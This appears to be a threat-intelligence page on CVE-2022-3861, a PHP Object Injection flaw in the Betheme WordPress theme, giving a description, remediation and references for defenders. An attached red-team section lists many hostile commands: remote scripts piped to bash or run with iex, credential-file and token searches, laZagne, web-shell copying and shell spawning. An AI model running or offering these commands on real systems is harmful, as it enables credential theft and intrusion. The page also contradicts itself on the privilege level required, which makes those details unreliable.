CVE-2022-3861
Overview
This vulnerability is a PHP Object Injection caused by unsafe deserialization of untrusted input within the MuffinGroup Betheme WordPress theme. The flaw resides in the deserialization process of parameters passed to specific import-related functions, allowing manipulation of internal PHP objects. The affected components include the import functionalities accessed via parameters such as import, mfn-items-import-page, and mfn-items-import in the theme’s builder import functions.
Vulnerability Description
The Betheme theme for WordPress is vulnerable to PHP Object Injection in versions up to, and including, 26.5.1.4 via deserialization of untrusted input supplied via the import, mfn-items-import-page, and mfn-items-import parameters passed through the mfn_builder_import, mfn_builder_import_page, importdata, importsinglepage, and importfromclipboard functions. This makes it possible for authenticated attackers, with subscriber level permissions and above to inject a PHP Object. The additional presence of a POP chain would make it possible for attackers to execute code, retrieve sensitive data, delete files, etc..
Impact
An attacker with at least subscriber-level authentication can inject malicious PHP objects, potentially leading to arbitrary code execution, data exfiltration, or file deletion within the WordPress environment. The vulnerability requires network access to an authenticated session but does not require user interaction beyond authentication. Exploitation could result in full compromise of the affected WordPress site, impacting confidentiality, integrity, and availability as indicated by the CVSS vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
Solution
Users of MuffinGroup Betheme should upgrade to versions later than 26.5.1.4 as recommended by the vendor. Detailed patch instructions and updates are available on the official Betheme website (https://muffingroup.com/betheme/) and the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/f5e984d5-2537-4a4a-a071-084e0c1c3b5e). No specific workaround is documented; applying the vendor-provided patch is the advised remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the Betheme theme for WordPress is characterized by a PHP Object Injection flaw that arises from the deserialization of untrusted input. This issue is particularly critical as it allows authenticated users, specifically those with contributor-level permissions or higher, to exploit the system through various functions related to importing data. The affected functions include mfn_builder_import, mfn_builder_import_page, importdata, importsinglepage, and importfromclipboard. When untrusted data is deserialized, it can lead to the execution of arbitrary PHP objects, which attackers can manipulate to execute malicious code or alter the behavior of the application. The presence of a "PHP Object Injection" (POI) chain can further amplify the risk, enabling attackers to perform actions such as retrieving sensitive information, deleting files, or even executing remote code.
Exploitation of this vulnerability can occur through several attack vectors. An attacker with valid credentials can craft a malicious payload that is sent through the aforementioned import functions. By carefully constructing the input data, the attacker can inject a PHP object that the application will deserialize without proper validation. This could lead to various malicious outcomes, including the execution of arbitrary code on the server, which could compromise the integrity and confidentiality of the entire WordPress installation. Additionally, if the attacker has access to administrative functions, they could escalate their privileges, further increasing the potential damage.
The real-world impact of this vulnerability is significant, particularly for organizations that rely on the Betheme theme for their WordPress sites. The potential for unauthorized access to sensitive data, such as user credentials or personal information, poses a severe business risk. Moreover, the ability to execute arbitrary code could lead to website defacement, data breaches, or even the installation of malware, which can have long-lasting repercussions on brand reputation and customer trust. Organizations may also face compliance issues and financial penalties if sensitive data is compromised, making this vulnerability a critical concern for businesses operating in regulated industries.
To detect and mitigate the risks associated with this vulnerability, organizations should implement several strategies. Regularly updating the Betheme theme to the latest version is crucial, as developers often release patches to address known vulnerabilities. Additionally, employing web application firewalls (WAFs) can help filter out malicious requests before they reach the application layer. Conducting regular security audits and vulnerability assessments can also aid in identifying potential weaknesses in the system. Furthermore, organizations should enforce the principle of least privilege, ensuring that users only have the permissions necessary for their roles, thereby limiting the potential for exploitation. Educating users about secure coding practices and the importance of input validation can also help in reducing the risk of such vulnerabilities being exploited in the future.
In conclusion, the PHP Object Injection vulnerability in the Betheme theme for WordPress represents a serious security risk that can lead to significant operational and reputational damage for affected organizations. By understanding the technical details, potential attack vectors, and real-world implications, businesses can better prepare themselves to defend against such threats. Implementing robust detection and mitigation strategies will be essential in safeguarding their digital assets and maintaining the trust of their customers.
CSURFACE threat intelligence has detected a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2022-3861, rising by approximately one-third over recent reporting periods. This upward trend, now placing the vulnerability near the 0.9 percentile in exploit likelihood, signals growing attacker interest or improved exploitability conditions, despite the absence of newly reported exploit techniques or public proof-of-concept releases. The steady climb in EPSS, coupled with a continued upward trajectory over the past week, suggests that threat actors may be actively developing or refining methods to leverage this PHP Object Injection flaw in the Betheme WordPress theme. For defenders, this escalation underscores an elevated risk environment where the window for potential exploitation is narrowing, especially given the vulnerability’s accessibility to authenticated users with minimal privileges. Consequently, the threat level associated with CVE-2022-3861 should be considered heightened, warranting increased vigilance in monitoring and detection efforts even in the absence of confirmed exploitation incidents.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Muffingroup | Betheme | All |
cpe:2.3:a:muffingroup:betheme:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
63%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-3861 |
| muffingroup.com |
GitHub CVE
|
https://muffingroup.com/betheme/ |
| github.com |
GitHub CVE
|
https://github.com/MrTuxracer/advisories/blob/master/CVEs/CVE-2022-3861.txt |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/vulnerability-advisories-continued/#CVE-2022-3861 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/f5e984d5-2537-4a4a-a071-084e0c1c3b5e?source=cve |